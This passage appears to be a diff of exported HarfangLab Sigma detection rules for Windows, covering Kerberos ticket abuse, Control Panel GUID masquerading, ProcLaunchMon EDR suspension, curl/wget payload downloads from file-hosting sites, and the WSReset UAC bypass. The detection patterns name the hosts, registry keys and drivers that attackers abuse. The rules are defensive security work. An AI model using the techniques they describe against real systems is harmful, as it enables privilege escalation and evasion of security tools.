+  "content": "title: Kerberos Traffic from Unusual Process\nid: dce8900d-6bdc-42c6-ab73-04731d439106\ndescription: |\n    Detects a network communication to the port 88 (Kerberos protocol) by an unusual process.\n    Adversaries may use Kerberos exploitation tools such as Rubeus to communicate with Kerberos' KDC and obtain tickets on behalf of other users.\n    It is recommended to verify the legitimacy of this network connection and check the detected process for any suspicious activity.\nreferences:\n    - https://en.hackndo.com/kerberoasting/\n    - https://github.com/GhostPack/Rubeus/\n    - https://attack.mitre.org/techniques/T1558/\ndate: 2023/10/27\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558\n    - attack.lateral_movement\n    - attack.t1550\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        DestinationPort: '88'\n        Initiated: 'true'\n        ProcessImage|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\public\\'\n            - '?:\\users\\\\*\\appdata\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    filter_legitimate_microsoft:\n        ProcessImage:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n            - '?:\\Windows\\SysWOW64\\vmnat.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v*\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v*\\powershell_ise.exe'\n            - '?:\\Windows\\system32\\SnippingTool.exe'\n            - '?:\\Windows\\System32\\mstsc.exe'\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\telnet.exe'\n            - '?:\\Windows\\LTSvc\\LTSVC.exe'\n\n    exclusion_foglight:\n        ProcessImage|endswith: '\\fog-*\\bin\\fglam.exe'\n\n    exclusion_tomcat:\n        - ProcessImage|endswith:\n            - '\\tomcat\\bin\\tomcat?.exe'\n            - '\\tomcat?\\bin\\tomcat?.exe'\n        - ProcessSignature:\n            - 'The Apache Software Foundation'\n            - 'CodeSigning for The Apache Software Foundation'\n\n    exclusion_hlwin:\n        ProcessImage|endswith: '\\hlmwin\\exe\\h2000.exe'\n\n    exclusion_jetbrain:\n        - ProcessImage|endswith:\n            - '\\bin\\idea64.exe'\n            - '\\bin\\pycharm64.exe'\n        - ProcessSignature: 'JetBrains s.r.o.'\n\n    exclusion_java:\n        - ProcessSigned: 'true'\n          ProcessOriginalFileName:\n            - 'java.exe'\n            - 'javaw.exe'\n        - ProcessImage|endswith: '\\sapjvm\\bin\\java.exe'\n\n    exclusion_solarwind:\n        ProcessSigned: 'true'\n        ProcessSignature: 'SolarWinds WorldWide, LLC'\n\n    exclusion_kinit:\n        ProcessImage|endswith: '\\kinit.exe'\n\n    exclusion_outlook_content:\n        ProcessImage:\n            - '?:\\Windows\\System32\\mspaint.exe'\n            - '?:\\Windows\\System32\\notepad.exe'\n        ProcessCommandLine|contains: '\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\'\n\n    exclusion_share:\n        ProcessImage:\n            - '?:\\Windows\\System32\\mspaint.exe'\n            - '?:\\Windows\\System32\\notepad.exe'\n        ProcessCommandLine|contains: ' \\\\\\\\'\n\n    exclusion_paint:\n        ProcessImage: '?:\\Windows\\System32\\mspaint.exe'\n\n    exclusion_sap:\n        ProcessSigned: 'true'\n        ProcessSignature: 'SAP SE'\n\n    exclusion_mobatek:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mobatek'\n\n    exclusion_mremoteng:\n        ProcessImage|endswith: '\\mRemoteNG\\mRemoteNG.exe'\n\n    exclusion_ipscanner:\n        ProcessImage|endswith:\n            - '\\advanced_port_scanner.exe'\n            - '\\advanced_ip_scanner.exe'\n\n    exclusion_karakun:\n        ProcessImage|endswith: 'javaws.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Karakun AG'\n\n    exclusion_nettools:\n        ProcessImage|endswith: '\\nettools.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Axence Inc.'\n\n    exclusion_dbeaver:\n        ProcessSigned: 'true'\n        ProcessSignature: 'DBeaver Corp'\n\n    exclusion_easypilot:\n        ProcessImage|endswith: '\\easyPilot_Srv.exe'\n\n    exclusion_mpv:\n        ProcessImage: '?:\\ProgramData\\chocolatey\\lib\\mpvio.install\\tools\\mpv.com'\n\n    exclusion_s2eup:\n        ProcessImage: '?:\\Windows\\System32\\spool\\drivers\\x64\\\\?\\SU2EUP.EXE'\n\n    exclusion_eclipse:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Eclipse.org Foundation, Inc.'\n\n    exclusion_rapid7:\n        ProcessImage|endswith: '\\nexserv.exe'\n        ProcessCommandLine|contains: ' -className=com/rapid7/nexpose/nsc/NSC'\n\n    exclusion_smartbrowser:\n        ProcessOriginalFileName: 'SmartBrowser-Blink.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'OODRIVE S.A.S.'\n\n    exclusion_dllhost:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{17696EAC-9568-4CF5-BB8C-82515AAD6C09}'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dce8900d-6bdc-42c6-ab73-04731d439106",
+  "rule_name": "Kerberos Traffic from Unusual Process",
+  "rule_description": "Detects a network communication to the port 88 (Kerberos protocol) by an unusual process.\nAdversaries may use Kerberos exploitation tools such as Rubeus to communicate with Kerberos' KDC and obtain tickets on behalf of other users.\nIt is recommended to verify the legitimacy of this network connection and check the detected process for any suspicious activity.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550",
+    "attack.t1558"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd521d1e-6736-4777-9096-97a6d6de66c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071923Z",
+  "creation_date": "2026-03-23T11:45:34.071925Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071929Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/win32/shell/control-panel-applications",
+    "https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_control_panel_process_exec.yml",
+  "content": "title: Process Executed from a Folder Masquerading as a Control Panel Item\nid: dd521d1e-6736-4777-9096-97a6d6de66c3\ndescription: |\n    Detects a process launched from a folder whose name contains a well-known Control Panel GUID.\n    Adversaries may use Control Panel GUIDs to hide their payload as Explorer will open the Control Panel instead of browsing the folder.\n    It is recommended to check for malicious activity by the newly created process or its parent processes.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/win32/shell/control-panel-applications\n    - https://securelist.com/miner-campaign-misuses-open-source-siem-agent/114022/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2024/10/23\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessImage|contains:\n            - '.{0142e4d0-fb7a-11dc-ba4a-000ffe7ab428}\\'\n            - '.{025A5937-A6BE-4686-A844-36FE4BEC8B6D}\\'\n            - '.{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}\\'\n            - '.{087DA31B-0DD3-4537-8E23-64A18591F88B}\\'\n            - '.{0D2A3442-5181-4E3A-9BD4-83BD10AF3D76}\\'\n            - '.{0DF44EAA-FF21-4412-828E-260A8728E7F1}\\'\n            - '.{1206F5F1-0569-412C-8FEC-3204630DFB70}\\'\n            - '.{17cd9488-1228-4b2f-88ce-4298e93e0966}\\'\n            - '.{2227A280-3AEA-1069-A2DE-08002B30309D}\\'\n            - '.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}\\'\n            - '.{36eef7db-88ad-4e81-ad49-0e313f0c35f8}\\'\n            - '.{37efd44d-ef8d-41b1-940d-96973a50e9e0}\\'\n            - '.{3e7efb4c-faf1-453d-89eb-56026875ef90}\\'\n            - '.{4026492F-2F69-46B8-B9BF-5654FC07E423}\\'\n            - '.{40419485-C444-4567-851A-2DD7BFA1684D}\\'\n            - '.{5224F545-A443-4859-BA23-7B5A95BDC8EF}\\'\n            - '.{58E3C745-D971-4081-9034-86E34B30836A}\\'\n            - '.{5ea4f148-308c-46d7-98a9-49041b1dd468}\\'\n            - '.{60632754-c523-4b62-b45c-4172da012619}\\'\n            - '.{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\\'\n            - '.{67CA7650-96E6-4FDD-BB43-A8E774F73A57}\\'\n            - '.{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\\'\n            - '.{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\\'\n            - '.{725BE8F7-668E-4C7B-8F90-46BDB0936430}\\'\n            - '.{74246bfc-4c96-11d0-abef-0020af6b0b7a}\\'\n            - '.{78CB147A-98EA-4AA6-B0DF-C8681F69341C}\\'\n            - '.{78F3955E-3B90-4184-BD14-5397C15F1EFC}\\'\n            - '.{7A979262-40CE-46ff-AEEE-7884AC3B6136}\\'\n            - '.{7b81be6a-ce2b-4676-a29e-eb907a5126c5}\\'\n            - '.{80F3F1D5-FECA-45F3-BC32-752C152E456E}\\'\n            - '.{87D66A43-7B11-4A28-9811-C86EE395ACF7}\\'\n            - '.{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}\\'\n            - '.{8E908FC9-BECC-40f6-915B-F4CA0E70D03D}\\'\n            - '.{93412589-74D4-4E4E-AD0E-E0CB621440FD}\\'\n            - '.{96AE8D84-A250-4520-95A5-A47A7E3C548B}\\'\n            - '.{9C60DE1E-E5FC-40f4-A487-460851A8D915}\\'\n            - '.{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\\'\n            - '.{9FE63AFD-59CF-4419-9775-ABCC3849F861}\\'\n            - '.{A0275511-0E86-4ECA-97C2-ECD8F1221D08}\\'\n            - '.{A304259D-52B8-4526-8B1A-A1D6CECC8243}\\'\n            - '.{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\\'\n            - '.{A8A91A66-3A7D-4424-8D24-04E180695C7A}\\'\n            - '.{AB3BE6AA-7561-4838-AB77-ACF8427DF426}\\'\n            - '.{B2C761C6-29BC-4f19-9251-E6195265BAF1}\\'\n            - '.{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}\\'\n            - '.{BAA884F4-3432-48b8-AA72-9BF20EEF31D5}\\'\n            - '.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\\'\n            - '.{BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}\\'\n            - '.{BE122A0E-4503-11DA-8BDE-F66BAD1E3F3A}\\'\n            - '.{BF782CC9-5A52-4A17-806C-2A894FFEEAC5}\\'\n            - '.{C555438B-3C23-4769-A71F-B6D3D9B6053A}\\'\n            - '.{C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}\\'\n            - '.{CB1B7F8C-C50A-4176-B604-9E24DEE8D4D1}\\'\n            - '.{D20EA4E1-3957-11d2-A40B-0C5020524153}\\'\n            - '.{D450A8A1-9568-45C7-9C0E-B4F9FB4537BD}\\'\n            - '.{D555645E-D4F8-4c29-A827-D93C859C4F2A}\\'\n            - '.{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}\\'\n            - '.{D9EF8727-CAC2-4e60-809E-86F80A666C91}\\'\n            - '.{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\\'\n            - '.{E95A4861-D57A-4be1-AD0F-35267E261739}\\'\n            - '.{E9950154-C418-419e-A90A-20C5287AE24B}\\'\n            - '.{ECDB0924-4208-451E-8EE0-373C0956DE16}\\'\n            - '.{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}\\'\n            - '.{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\\'\n            - '.{F6B6E965-E9B2-444B-9286-10C9152EDBC5}\\'\n            - '.{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\\'\n            - '.{F942C606-0914-47AB-BE56-1321B8035096}\\'\n            - '.{FCFEECAE-EE1B-4849-AE50-685DCF7717EC}\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd521d1e-6736-4777-9096-97a6d6de66c3",
+  "rule_name": "Process Executed from a Folder Masquerading as a Control Panel Item",
+  "rule_description": "Detects a process launched from a folder whose name contains a well-known Control Panel GUID.\nAdversaries may use Control Panel GUIDs to hide their payload as Explorer will open the Control Panel instead of browsing the folder.\nIt is recommended to check for malicious activity by the newly created process or its parent processes.\n",
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd5c4683-1ba6-4b7e-93e0-a1c3cfedcc25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611052Z",
+  "creation_date": "2026-03-23T11:45:34.611056Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611063Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/",
+    "https://www.elastic.co/security-labs/deep-dive-into-the-ttd-ecosystem",
+    "https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/time-travel-debugging-ttd-exe-command-line-util",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_proclaunchmon_load.yml",
+  "content": "title: TTD ProcLaunchMon Driver Loaded\nid: dd5c4683-1ba6-4b7e-93e0-a1c3cfedcc25\ndescription: |\n    Detects the loading of the TTD ProcLaunchMon driver.\n    ProcLaunchMon driver is a Windows built-in driver and can be used to perform TTD (Time Travel Debugging).\n    TTD refers to the ability to track and keep records of the state of a running process over time.\n    Adversaries may abuse this tool to disable security products by adding targeted EDR processes to the monitoring session, causing children processes to be suspended.\n    This can also be exploited to capture sensitive information like credentials or memory contents.\n    It is recommended to ensure that the usage of the ProcLaunchMon is legitimate.\nreferences:\n    - https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\n    - https://www.elastic.co/security-labs/deep-dive-into-the-ttd-ecosystem\n    - https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/time-travel-debugging-ttd-exe-command-line-util\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/07/25\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection_image:\n        - OriginalFileName: 'ProcLaunchMon.sys'\n        - ImageLoaded|endswith: '\\ProcLaunchMon.sys'\n\n    selection_signed:\n        Signed: 'true'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd5c4683-1ba6-4b7e-93e0-a1c3cfedcc25",
+  "rule_name": "TTD ProcLaunchMon Driver Loaded",
+  "rule_description": "Detects the loading of the TTD ProcLaunchMon driver.\nProcLaunchMon driver is a Windows built-in driver and can be used to perform TTD (Time Travel Debugging).\nTTD refers to the ability to track and keep records of the state of a running process over time.\nAdversaries may abuse this tool to disable security products by adding targeted EDR processes to the monitoring session, causing children processes to be suspended.\nThis can also be exploited to capture sensitive information like credentials or memory contents.\nIt is recommended to ensure that the usage of the ProcLaunchMon is legitimate.\n",
+  "rule_creation_date": "2024-07-25",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd5dc65e-22fb-4e81-88a0-3c0690c1962b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626744Z",
+  "creation_date": "2026-03-23T11:45:34.626746Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626751Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/virtualization/community/team-blog/2017/20171219-tar-and-curl-come-to-windows",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_curl_suspicious_link_windows.yml",
+  "content": "title: File Downloaded via Curl or Wget from Suspicious URL (Windows)\nid: dd5dc65e-22fb-4e81-88a0-3c0690c1962b\ndescription: |\n    Detects the usage of cURL or wget to download a file from public hosting services that may contain a malicious payload.\n    This technique is used by attackers to download payloads that are hosted on public websites.\n    It is recommended to perform an analysis of the downloaded file to check if the content is malicious.\nreferences:\n    - https://learn.microsoft.com/en-us/virtualization/community/team-blog/2017/20171219-tar-and-curl-come-to-windows\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/02/10\nmodified: 2026/01/12\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Curl\n    - classification.Windows.LOLBin.Wget\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n            - 'wget.exe'\n            - 'curl.exe'\n        CommandLine|contains:\n            - 'cdn.discordapp.com'\n            - 'api.telegram.org'\n            - 'www.dropbox.com'\n            - 'api.dropboxapi.com'\n            - 'content.dropboxapi.com'\n            - 'transfer.sh'\n            - 'anonfiles.com'\n            - 'gofile.io'\n            - 'file.io'\n            - 'raw.githubusercontent.com'\n            - 'gist.githubusercontent.com'\n            - 'pastebin.com'\n            - 'mediafire.com'\n            - 'mega.nz'\n            - 'ddns.net'\n            - '.paste.ee'\n            - '.hastebin.com'\n            - '.ghostbin.co/'\n            - 'ufile.io'\n            - 'storage.googleapis.com'\n            - 'send.exploit.in'\n            - 'privatlab.net'\n            - 'privatlab.com'\n            - 'sendspace.com'\n            - 'pastetext.net'\n            - 'pastebin.pl'\n            - 'paste.ee'\n            - 'pastie.org'\n            - 'archive.org'\n            - 'paste.c-net.org'\n\n    exclusion_paloalto:\n        Image: '?:\\Program Files\\Palo Alto Networks\\DEM\\bin\\curl.exe'\n        CommandLine|contains: '--resolve www.dropbox.com'\n\n    exclusion_sketchup:\n        CommandLine: 'curl https://raw.githubusercontent.com/*/config/donate.url -s -o C:/Users/*/AppData/Local/Temp/uir-donate.url'\n        ParentImage:\n            - '?:\\Program Files\\SketchUp\\\\*\\SketchUp.exe'\n            - '?:\\Program Files (x86)\\SketchUp\\\\*\\SketchUp.exe'\n\n    exclusion_url:\n        CommandLine|contains:\n            - 'https://raw.githubusercontent.com/mon5termatt/medicat_installer/'\n            - 'https://raw.githubusercontent.com/nvm-sh/nvm/'\n            - 'curl -fsSL https://storage.googleapis.com/claude-code-dist-'\n\n    exclusion_mingw:\n        Image:\n            - '?:\\Program Files\\Git\\mingw64\\bin\\curl.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\mingw64\\bin\\curl.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\PortableGit\\mingw64\\bin\\curl.exe'\n        ParentImage:\n            - '?:\\Program Files\\Git\\usr\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\PortableGit\\usr\\bin\\bash.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd5dc65e-22fb-4e81-88a0-3c0690c1962b",
+  "rule_name": "File Downloaded via Curl or Wget from Suspicious URL (Windows)",
+  "rule_description": "Detects the usage of cURL or wget to download a file from public hosting services that may contain a malicious payload.\nThis technique is used by attackers to download payloads that are hosted on public websites.\nIt is recommended to perform an analysis of the downloaded file to check if the content is malicious.\n",
+  "rule_creation_date": "2023-02-10",
+  "rule_modified_date": "2026-01-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd6d5465-1550-421c-9598-f5e0a2813c5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077682Z",
+  "creation_date": "2026-03-23T11:45:34.077684Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077689Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.activecyber.us/activelabs/windows-uac-bypass",
+    "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_wsreset_reg.yml",
+  "content": "title: WSReset UAC Bypass Prepared via Registry\nid: dd6d5465-1550-421c-9598-f5e0a2813c5e\ndescription: |\n    Detects attempts to bypass UAC through WSReset.exe by modifying a specific registry key.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    This technique exploits WSReset.exe's auto-elevated status to execute arbitrary commands with high integrity without triggering UAC prompts on Windows 10/11 systems.\n    It is recommended to investigate the modified registry keys for any unauthorized changes, and validate the legitimacy of high-integrity processes spawned by WSReset.exe.\nreferences:\n    - https://www.activecyber.us/activelabs/windows-uac-bypass\n    - https://lolbas-project.github.io/lolbas/Binaries/Wsreset/\ndate: 2020/09/18\nmodified: 2025/04/17\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\shell\\open\\command\\(Default)'\n            - 'HKU\\\\*\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\*SymbolicLinkValue'\n            - 'HKU\\\\*\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\ms-windows-store\\UserChoice\\ProgId'\n    filter_empty:\n        Details: '(Empty)'\n\n    selection_rename:\n        EventType:\n            - 'RenameValue'\n            - 'RenameKey'\n        NewName: 'HKU\\\\*_Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\*'\n\n    filter_known_good:\n        Details:\n            - 'AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2'\n            - 'AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq'  # Windows Store Actions\n        TargetObject|contains: 'Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\ms-windows-store\\UserChoice\\ProgId'\n        Image:\n            - '?:\\Windows\\System32\\OpenWith.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\mighost.exe'\n\n    condition: (selection_set_value and not 1 of filter_*) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd6d5465-1550-421c-9598-f5e0a2813c5e",
+  "rule_name": "WSReset UAC Bypass Prepared via Registry",
+  "rule_description": "Detects attempts to bypass UAC through WSReset.exe by modifying a specific registry key.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nThis technique exploits WSReset.exe's auto-elevated status to execute arbitrary commands with high integrity without triggering UAC prompts on Windows 10/11 systems.\nIt is recommended to investigate the modified registry keys for any unauthorized changes, and validate the legitimacy of high-integrity processes spawned by WSReset.exe.\n",
+  "rule_creation_date": "2020-09-18",
+  "rule_modified_date": "2025-04-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.001",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd8e0768-9335-472a-89fb-71efaa573368",
+  "test_maturity_current_count": 0,
